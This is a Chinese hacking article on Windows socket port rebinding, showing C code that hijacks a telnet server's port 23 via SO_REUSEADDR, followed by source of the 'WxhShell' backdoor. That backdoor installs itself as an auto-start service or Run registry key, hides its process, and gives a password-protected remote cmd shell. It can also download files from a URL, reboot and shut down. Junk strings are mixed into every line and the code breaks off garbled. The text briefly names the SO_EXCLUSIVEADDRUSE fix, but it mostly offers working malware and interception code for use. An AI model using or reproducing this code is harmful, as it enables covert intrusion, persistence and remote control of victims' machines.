在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4{(uw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?FVX &{{V zu5'Ex`gQa saddr.sin_family = AF_INET;
)y\^5>p[ od{Y`
.< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y{,HpPp#o jA$g0> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
s:7^R-"
QzPq^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U[*VNJSp F^7qLvh 这意味着什么?意味着可以进行如下的攻击:
iE=Yh PBbJfm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1 "?KQU 'C8VD+p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{E-.W"t4 ];Z)=y,vM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
E0'+]"B :6S!1roi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1 !bODd B]L5K~d 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
U&yXs'3a& .+MJ' bW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
QG*=N {%5 'A;G[(SYy 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
`uM:> CnSf GsE> #include
hEi]-N\X #include
1
0lvhzU #include
k__i Jsk #include
mE'y$5ZxY DWORD WINAPI ClientThread(LPVOID lpParam);
%@#+Xpa+ int main()
X,n4_=f {
(+68s9XS7 WORD wVersionRequested;
'9c`[^ DWORD ret;
lPx4=O WSADATA wsaData;
fuSfBtLPR# BOOL val;
reR ><p SOCKADDR_IN saddr;
v".q578
0B SOCKADDR_IN scaddr;
1j0OV9 -| int err;
\ZX5dFu0 SOCKET s;
T]-yTsto SOCKET sc;
i]J*lM7' int caddsize;
g}"`@H(9r3 HANDLE mt;
xI}o8G KQq DWORD tid;
k"D6Vyy` wVersionRequested = MAKEWORD( 2, 2 );
XTEC0s"F err = WSAStartup( wVersionRequested, &wsaData );
I=o[\?u*_ if ( err != 0 ) {
"X0"=1R~ printf("error!WSAStartup failed!\n");
|x@)%QeC return -1;
M #'br<] }
C~4_Vc* saddr.sin_family = AF_INET;
QEKSbxL\W vw5f.8T;w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Z:DEET!c'k RO[Ko-m|/N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J ^gtSn^ saddr.sin_port = htons(23);
$&~/`MxE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O4RNt,?l {
_G%]d$2f` printf("error!socket failed!\n");
EBlfwFd return -1;
W&CQ87b }
yTzP{I val = TRUE;
5v <>%= //SO_REUSEADDR选项就是可以实现端口重绑定的
J!5BH2bg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
f2Zi.?``H {
_J(n~"eR printf("error!setsockopt failed!\n");
**_`AM~ return -1;
OLh`R]Sd }
6hDK;J J& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pYZ6-s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[p[nK=&r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U<,@u,_Ja 2gz}]_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kms&o=^ {
\Zc$X^}vN ret=GetLastError();
D`p&`]k3v printf("error!bind failed!\n");
?~~sOf AP return -1;
w}+#w8hu }
x{4Rm,Dxn listen(s,2);
GslUN% UJr while(1)
HDQhXw!!hc {
T'\B17
:* caddsize = sizeof(scaddr);
0^'A^ //接受连接请求
n,sf$9" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3ThBy' if(sc!=INVALID_SOCKET)
+Go(yS {
-
s[=$pDU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Td#D\d\R if(mt==NULL)
T=r-6eN {
I)#=#eI*: printf("Thread Creat Failed!\n");
fxfzi{}uj break;
Y g>W.wA }
u8ofgcFYE }
GT\,
@$r CloseHandle(mt);
sX&.8 }
GMmz`O
XN closesocket(s);
[A$5~/Q{U1 WSACleanup();
\#4??@+Xf return 0;
)|;*[S4 }
s( @w1tS. DWORD WINAPI ClientThread(LPVOID lpParam)
$=dp) {
.G}E SOCKET ss = (SOCKET)lpParam;
*r!f! eA: SOCKET sc;
A
?"(5da. unsigned char buf[4096];
.K?',x SOCKADDR_IN saddr;
B$~oZ'4v long num;
blxAy DWORD val;
#Mo`l/Cwp DWORD ret;
=Y`P}vI]w% //如果是隐藏端口应用的话,可以在此处加一些判断
xdWfrm$;ZA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6BIP;, M= saddr.sin_family = AF_INET;
Xx{ho4qq saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
wX}N=== saddr.sin_port = htons(23);
;\`~M if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Enee\!@v {
~;St,Fw<< printf("error!socket failed!\n");
P.*J'q 28 return -1;
nb(4"|8} }
RZ)sCR val = 100;
B5J!&suX if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Zu(eYH=Q {
hW*2Le!I ret = GetLastError();
8r[ZGUV return -1;
2m.RM&TdB }
H
<CsB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i^P@? {
ZJ(/cD ret = GetLastError();
Z=%+U _, return -1;
?f v?6r }
qGMM3a)Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
';`fMcN {
Ke-Q>sm2Q printf("error!socket connect failed!\n");
M0!;{1 closesocket(sc);
+3.Ik,Z}zq closesocket(ss);
N[4v6GS return -1;
\~xI#S@ }
kg[u@LgvoN while(1)
Ke[doQ#c {
.(o]d{ '-} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Li ,B, //如果是嗅探内容的话,可以再此处进行内容分析和记录
mhTpR0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ZK5(_qW&i num = recv(ss,buf,4096,0);
3oX%tx if(num>0)
4X7y}F.J send(sc,buf,num,0);
MhC74G else if(num==0)
ToNi<~ break;
~`2w
ul num = recv(sc,buf,4096,0);
ln.kEhQ3B if(num>0)
H3{x;{.b send(ss,buf,num,0);
-oq!zi4: else if(num==0)
lJ]r%YlF break;
8>x.zO_.c> }
o
D; closesocket(ss);
`;fh<kv closesocket(sc);
PK1j$&F return 0 ;
hT6:7_UD }
8)/i\=N3; GkMNV7"m gd<8RVA ==========================================================
oTZ?x}Z1 "?,3O2t 下边附上一个代码,,WXhSHELL
FD(zj ^* RAKQ+Y"nl ==========================================================
ANSv ZqKh 9[DQ[bL #include "stdafx.h"
FtN1ZZ"<* []Cvma1\ #include <stdio.h>
6h>8^l #include <string.h>
TRz~rW
k #include <windows.h>
1_:1cF{w #include <winsock2.h>
UwtOlV:G{ #include <winsvc.h>
Bp\io$(% #include <urlmon.h>
^vm[`M cJA0$)JP& #pragma comment (lib, "Ws2_32.lib")
))c;DJc #pragma comment (lib, "urlmon.lib")
lp[3z&u ub6\m=Y7 #define MAX_USER 100 // 最大客户端连接数
6A M,1 #define BUF_SOCK 200 // sock buffer
l^xkXj #define KEY_BUFF 255 // 输入 buffer
, >Y.! o^RdVSkU; #define REBOOT 0 // 重启
<mHptgd, #define SHUTDOWN 1 // 关机
L1BpkB uuj"Er31 #define DEF_PORT 5000 // 监听端口
(Wr;:3i Y^LFJB|b4 #define REG_LEN 16 // 注册表键长度
yP0P-8 #define SVC_LEN 80 // NT服务名长度
iM2
EEC fEs957$ // 从dll定义API
`'Ta=kd3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;t%L(J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|PH]0.m5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!~UI~-i' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
OfTcF_% xmKa8']x // wxhshell配置信息
yG&kP:k< struct WSCFG {
S "oUE_> int ws_port; // 监听端口
<6/XE@" char ws_passstr[REG_LEN]; // 口令
q<>2}[W int ws_autoins; // 安装标记, 1=yes 0=no
f<SSg*A; char ws_regname[REG_LEN]; // 注册表键名
x+B~ t4A char ws_svcname[REG_LEN]; // 服务名
dQM# -t4* char ws_svcdisp[SVC_LEN]; // 服务显示名
js`zQx' char ws_svcdesc[SVC_LEN]; // 服务描述信息
JmNeqpbB`w char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@usQ*k int ws_downexe; // 下载执行标记, 1=yes 0=no
+azPpGZ= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
PB>p"[ap4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W/oRt<:E N(vbo };
p8s2#+/ Oi
BK // default Wxhshell configuration
x|0Q\<mEe struct WSCFG wscfg={DEF_PORT,
iN<5[ztd "xuhuanlingzhe",
gbpm:: 1,
CcY.8|HT "Wxhshell",
u
MzefRN "Wxhshell",
`RGZ-Q{_ "WxhShell Service",
uNd ;;X "Wrsky Windows CmdShell Service",
8g>jz
8 "Please Input Your Password: ",
TeqFy( Dr 1,
(i *1M "
http://www.wrsky.com/wxhshell.exe",
sbK0OA "Wxhshell.exe"
ccD+o$7LT };
Xz]}cRQ[ aS~k.^N // 消息定义模块
%J.Rm0FD: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5mSXf"R^ char *msg_ws_prompt="\n\r? for help\n\r#>";
wT*N{). char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
tHoFnPd\| char *msg_ws_ext="\n\rExit.";
pvmm" f char *msg_ws_end="\n\rQuit.";
yWzvE:!) char *msg_ws_boot="\n\rReboot...";
)Xd=EWGUS char *msg_ws_poff="\n\rShutdown...";
GsDSJz char *msg_ws_down="\n\rSave to ";
QQ2xNNF[ ^|\ *i char *msg_ws_err="\n\rErr!";
KD,b.s char *msg_ws_ok="\n\rOK!";
:@:R4Ac =m} {g/Bk char ExeFile[MAX_PATH];
AL|fL int nUser = 0;
Fg#*rzA HANDLE handles[MAX_USER];
0RoI`>j' int OsIsNt;
8w2+t>? SF_kap%JM SERVICE_STATUS serviceStatus;
; UrwK SERVICE_STATUS_HANDLE hServiceStatusHandle;
DVSYH{U4 SNK+U"Q // 函数声明
AZl=w`;/O% int Install(void);
Q|5wz]!5Y( int Uninstall(void);
(|U+ (~PJ int DownloadFile(char *sURL, SOCKET wsh);
t9m`K9.\ int Boot(int flag);
s ^)W?3t] void HideProc(void);
.\U+`>4av int GetOsVer(void);
ZLL0 6p int Wxhshell(SOCKET wsl);
Nq*\{rb void TalkWithClient(void *cs);
0w+hf3K+: int CmdShell(SOCKET sock);
c"O\fX int StartFromService(void);
k9^P#l@p int StartWxhshell(LPSTR lpCmdLine);
[j93Mp 6bb=; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
dDpe$N VOID WINAPI NTServiceHandler( DWORD fdwControl );
$ ~D`-+J ^S<Z'S // 数据结构和表定义
vO0ql SERVICE_TABLE_ENTRY DispatchTable[] =
R1P,0Yf {
WO)K*c1F {wscfg.ws_svcname, NTServiceMain},
gVG :z_6 {NULL, NULL}
"r"Y9KODm };
^kt"n(P5 v11mu2 // 自我安装
H[>_LYZ8 int Install(void)
}Bc6:a {
-CL7^ char svExeFile[MAX_PATH];
i6X/`XW' HKEY key;
c7iu[vE'+ strcpy(svExeFile,ExeFile);
.7)A8R7Wt r,b // 如果是win9x系统,修改注册表设为自启动
;OdUH if(!OsIsNt) {
'kh%^_FH7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ahV_4;yF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(b{
{B$O RegCloseKey(key);
{.!:T+'Xi\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mDM]RAub) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
" jeJV,% RegCloseKey(key);
-Q$$2QW! return 0;
5n9F\T5 }
sWX }
%<
W1y }
;^rZ"2U
l else {
CiMy_`H 3i s.c) // 如果是NT以上系统,安装为系统服务
cA/2,i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dUe"qH29s if (schSCManager!=0)
{Ua5bSbh {
t: [[5];E SC_HANDLE schService = CreateService
t8P>s})[4 (
55!9U :{ schSCManager,
:\bttPw5 wscfg.ws_svcname,
@8CD@SDv wscfg.ws_svcdisp,
;<MaCtDt SERVICE_ALL_ACCESS,
(O<lVz@8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
G+%ZN SERVICE_AUTO_START,
M.IV{gj SERVICE_ERROR_NORMAL,
Cog:6Gnw svExeFile,
_8S).* NULL,
%hTe%(e NULL,
X`aED\#\h NULL,
.7kVC NULL,
#);
6+v NULL
i5AhF\7F9 );
(=PnLP if (schService!=0)
+QHhAA$ {
u{3KV6MS CloseServiceHandle(schService);
'.dW>7 CloseServiceHandle(schSCManager);
d9^=#ot strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pixI&iQ strcat(svExeFile,wscfg.ws_svcname);
~z
aV.3# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~P/G^cV3s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
L9kSeBt RegCloseKey(key);
6C3y+@9 return 0;
#|e<l1 F }
~cZ1=,P }
19=Dd#Nf CloseServiceHandle(schSCManager);
|
'z)RFqj }
m#S ZI} }
:qT>m my} P\r. return 1;
L`Ic0}|lzy }
3{_+dE"9 G6J3F // 自我卸载
,>g
6OU2~6 int Uninstall(void)
.6'T;SoK> {
(&gCVf HKEY key;
!l\pwfXP&% u(~s$ENl if(!OsIsNt) {
,J~1~fg89 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]':C~-RV{ RegDeleteValue(key,wscfg.ws_regname);
AVJF[t , RegCloseKey(key);
# / 4Wcz< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-Kc-eU-&q RegDeleteValue(key,wscfg.ws_regname);
|/(5GX,X RegCloseKey(key);
wXZ-%,R-D return 0;
Zn^E }
\GWq0z& }
+X?jf.4 }
`C()H@; else {
gTq-\k( +amvQ];?Q8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
awawq9)Y if (schSCManager!=0)
O@$hG8: {
3gM{lS}h# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3dM6zOK if (schService!=0)
2MC\~"L< {
81n%2G if(DeleteService(schService)!=0) {
TcIUo!:z CloseServiceHandle(schService);
P*LcWrK CloseServiceHandle(schSCManager);
dqkkA/1 return 0;
|/s.PNP2 }
XmnqZWB CloseServiceHandle(schService);
IX>|bA; }
Y.73I83-j CloseServiceHandle(schSCManager);
3LTO+>, |" }
Q\rqG }
8t^"1ND hh?'tb{ return 1;
zZRqb/20 }
j[HKC0C6 42C:cl} ." // 从指定url下载文件
ZD<,h`
lZ int DownloadFile(char *sURL, SOCKET wsh)
*dQRs6 {
J\%:jg( m HRESULT hr;
Zb1v char seps[]= "/";
f"tO*/|` char *token;
PU>;4l char *file;
FFkG,XH char myURL[MAX_PATH];
5bAXa2Vt char myFILE[MAX_PATH];
.SsIU\[) f^]AyU;F: strcpy(myURL,sURL);
55I>v3 w token=strtok(myURL,seps);
lt*k(JD while(token!=NULL)
g PfaiVY {
:Hd<S file=token;
M&K@><6k,k token=strtok(NULL,seps);
ufJFS+? }
<hea%6 CxRp$;rk GetCurrentDirectory(MAX_PATH,myFILE);
WLpn,8qsY strcat(myFILE, "\\");
OBZ |W**N" strcat(myFILE, file);
F>M$|Sc2 send(wsh,myFILE,strlen(myFILE),0);
vW_A.iI"e send(wsh,"...",3,0);
a_ P[J8j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
! $iR:ji if(hr==S_OK)
Y}Dp{ return 0;
DYl^6] else
dbLX}> return 1;
3UaP7p+d j\vK`.z }
JTI m`t"d= .
9
NS // 系统电源模块
q!,do2T int Boot(int flag)
D;L :a`Y {
TM}F9!*je HANDLE hToken;
3 x'30 TOKEN_PRIVILEGES tkp;
X+3)DE\2 $i1A470C if(OsIsNt) {
\(CW?9) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}.'%gJrS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!vB%Q$!x tkp.PrivilegeCount = 1;
AWi87q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
R',w~1RV' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
zbR.Lb if(flag==REBOOT) {
d3$<|mG$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Lr^xp,_ n return 0;
g IKm }
w?*KO?K else {
PYUY bRn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
DG-vTr return 0;
GKS y|z }
o
,!"E^ }
So^`L s;S else {
L7g&]% if(flag==REBOOT) {
vP4Ij if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
s,k1KTXg<B return 0;
IX(yajc[~M }
=,
0a3D6b else {
g#:XN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
GW#kaqC1 return 0;
:2My|3H\ }
z]YhQIU4n8 }
ob7_dWAG AN>`M?EQ return 1;
B#MW`7c }
>2:S v1T c 2@@Rd~M // win9x进程隐藏模块
{XX Nl)% void HideProc(void)
S=g-&lK {
OgS8.wX of`]LU: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*\WI!% if ( hKernel != NULL )
`Y;gMrp {
@e,Zmx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
O}-7 V5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{|h"/ FreeLibrary(hKernel);
Qzhnob#C9 }
-X[[
OR9+ DRoxw24 return;
iq:[+ }
48Lmy<}* (3h*sd5ly // 获取操作系统版本
}Yl=lcvw int GetOsVer(void)
% 4"~O
_S {
gL"}5 3A OSVERSIONINFO winfo;
`Cf
en8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Y/66`&,{ GetVersionEx(&winfo);
\ Sby(l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gJxVU41 return 1;
c.Y8CD.tqL else
mv.I.EL return 0;
V^z;^mdd }
)T5h\ZO`;
;"^9L // 客户端句柄模块
)JQQ4D int Wxhshell(SOCKET wsl)
{Yk20Zn {
mv?H]i`N SOCKET wsh;
y7-:l u$9 struct sockaddr_in client;
*F*fH>?C# DWORD myID;
0|!<|N< B9DxV>mr\r while(nUser<MAX_USER)
;cn.s, {
GKhwn&qCKb int nSize=sizeof(client);
\,gZNe&Vv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-!>ZATL<B if(wsh==INVALID_SOCKET) return 1;
.b`P! +fQL~0tA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u^$Md WP if(handles[nUser]==0)
i{ @'\}{L closesocket(wsh);
+i#sS19h else
'?gIcWM nUser++;
[0ffOTy }
$cK
B+} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
zZc@;S# Qz(T[H5%W return 0;
}!]x|zU.= }
yO;C3q ENWB|@B // 关闭 socket
wV&f|JO0+ void CloseIt(SOCKET wsh)
+7<>x-+ {
]MLLr'6? closesocket(wsh);
y6Epi|8 nUser--;
{dx /p-Tv ExitThread(0);
0o$HC86w }
*.]E+MYi* :2)1vQH0L // 客户端请求句柄
6a?$=y void TalkWithClient(void *cs)
`ab\i`g9 {
Y0yO`W4 5%+bWI{w SOCKET wsh=(SOCKET)cs;
pb6^sA%l char pwd[SVC_LEN];
|id79qY7g char cmd[KEY_BUFF];
XQJ^)d00h char chr[1];
u%1k int i,j;
XH:gQ 9FD if[o?6U4t while (nUser < MAX_USER) {
4_762Gu% @Du}
if(wscfg.ws_passstr) {
1|WpKaMoq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t-m9n*\j1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kad;Wa#h //ZeroMemory(pwd,KEY_BUFF);
V"by9p|V` i=0;
TflS@Z7C while(i<SVC_LEN) {
z2Y_L8u2 W+f&%En // 设置超时
@ZkAul0@ fd_set FdRead;
B+e_Y\Bu struct timeval TimeOut;
)=E~CpKV FD_ZERO(&FdRead);
,J(5@8(>a FD_SET(wsh,&FdRead);
T$^>Fiz{Se TimeOut.tv_sec=8;
$#7J\=GZ+ TimeOut.tv_usec=0;
4%fN\f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r d6F"W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ls>u`hG 8yWu{'G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
5\ w=(c9A pwd
=chr[0]; .p(6' TYnI
if(chr[0]==0xd || chr[0]==0xa) { Q_kT}6#(J=
pwd=0; HA9Nr.NqC@
break; =tc`:!$
} _:gGD8
i++; S
$_Y/x
} <duBwkiG
[|[sYo
// 如果是非法用户,关闭 socket w38c
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l!;_lH8W$
} F!)M<8jL&9
14rVb2^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .:Bwa
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zyZok*s
<p^*Ydx
while(1) { nGv23R(?G
2z.8rNwT
ZeroMemory(cmd,KEY_BUFF); " _:iK]
+%
XhQ
// 自动支持客户端 telnet标准 Sj0 ucnuHi
j=0; XewXTd#x
while(j<KEY_BUFF) { s("Cn/ZkS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;5D@kS^
cmd[j]=chr[0]; i.&Kpw9;m
if(chr[0]==0xa || chr[0]==0xd) { XSp x''l
cmd[j]=0; jom}_
break; \]U<hub
} hC|5e|S
j++; [%7;f|p?
} NMl ?Y uEv
K_AtU/
// 下载文件 c?.r"5#
if(strstr(cmd,"http://")) { k=T-L
send(wsh,msg_ws_down,strlen(msg_ws_down),0); N753
if(DownloadFile(cmd,wsh)) &e-#|p#v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *K+jsVDY
else ]_ejDN\>{V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cuQ7kECV
} 29a_ZU7e6
else { b(#"w[|
YN%=Oq
switch(cmd[0]) { j<ABO")v
%tzN@
// 帮助 stg30><
case '?': { >'} Y1_S5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZDOF
break; p.rdSv(8'
} mUrS&&fu8
// 安装 ?w]"~
case 'i': { A6^p}_
if(Install()) ?kL|>1TY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1V|< A
else ( zn_8s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5q5 )uv"
break; "UQr :/
} Gur8.A;Y
// 卸载 V[o7Jr~
case 'r': { aF&r/j+}o
if(Uninstall()) SON^CvMs{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;x:k-s2-
else 6R 1wn&8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ku/\16E/k
break; (dzH3_U
} J3/\<=Qh
// 显示 wxhshell 所在路径 [x;(cISK1
case 'p': { Ku<b0<`
char svExeFile[MAX_PATH]; gYTyH.
strcpy(svExeFile,"\n\r"); 2{A;du%&
strcat(svExeFile,ExeFile); rc;7W:
send(wsh,svExeFile,strlen(svExeFile),0); (3
IZ
break; {S5RK-ax
} L6|Hgrj -u
// 重启 pU?{0xZH
case 'b': { 81GQijq
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >_;kT y,
if(Boot(REBOOT)) 6gj]y^}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |av*!i5Q
else { {0is wq'J
closesocket(wsh); &$mZ?%^C
ExitThread(0); Op`I;Q
#%d
} eWb0^8_
break; zKIGWH=qqm
} ;_mgiKHg
// 关机 ]3n , AHA
case 'd': { c3=-Mq9Q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,>D ja59
if(Boot(SHUTDOWN)) 8[8|*8xqs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @%6)^]m}r
else { cC^W2\
closesocket(wsh); 9@:BK;Fi
ExitThread(0); QCeMKjCmY
} H@K#|A=a
break; y,MPGW_
} <RhOjZgyZ
// 获取shell F(#ha J$>
case 's': { EkN_8(w
CmdShell(wsh); OENzG~
closesocket(wsh); R=!kbBK>\
ExitThread(0); Q;4}gUmI$
break; FoE|Js
} xDR9_
// 退出 :]vA2
case 'x': { iV5}U2Vh
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sW
}<zGYd
CloseIt(wsh); 5\okU"{d7
break; 6ayy[5tW
} :1:3Svb<Y
// 离开 8]S,u:E:N
case 'q': { 3^{8_^I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~j=xi P
closesocket(wsh); 0CT}DQ._^N
WSACleanup(); AT"!{Y "H
exit(1); Vwjk[ DOL
break; ov8
ByJc
} {}V$`L8
} 7; p4Wg7k}
} `YPe^!`$
Ve)ClH/DW
// 提示信息 YPu9Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?N:B
} rvW!7-R
} *D2Nm9sl
t5xb"F
return; Rv98\VD"
} 85'nXYN{d
Y=r!2u6r~
// shell模块句柄 *R BV'b
int CmdShell(SOCKET sock) )D;*DUtMVm
{ ~e{H#*f&1/
STARTUPINFO si; =/[ltUKs:a
ZeroMemory(&si,sizeof(si)); JjQ8|En
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T'E]
i!$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n|WfaJQZ
PROCESS_INFORMATION ProcessInfo; F9-[%l
char cmdline[]="cmd"; uS~#4;R
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4CLsY n?
return 0; j.DHqHx
} :Zza)>l
N#4N?BBP"
// 自身启动模式 ]nQ+nH
int StartFromService(void) I"-dTa
{ #<4--$Xo
typedef struct ylu2R0] (
{ @dl8(ILk'
DWORD ExitStatus; >)Ioo$B
DWORD PebBaseAddress; +]c/&Xo!
DWORD AffinityMask; WSRy%#
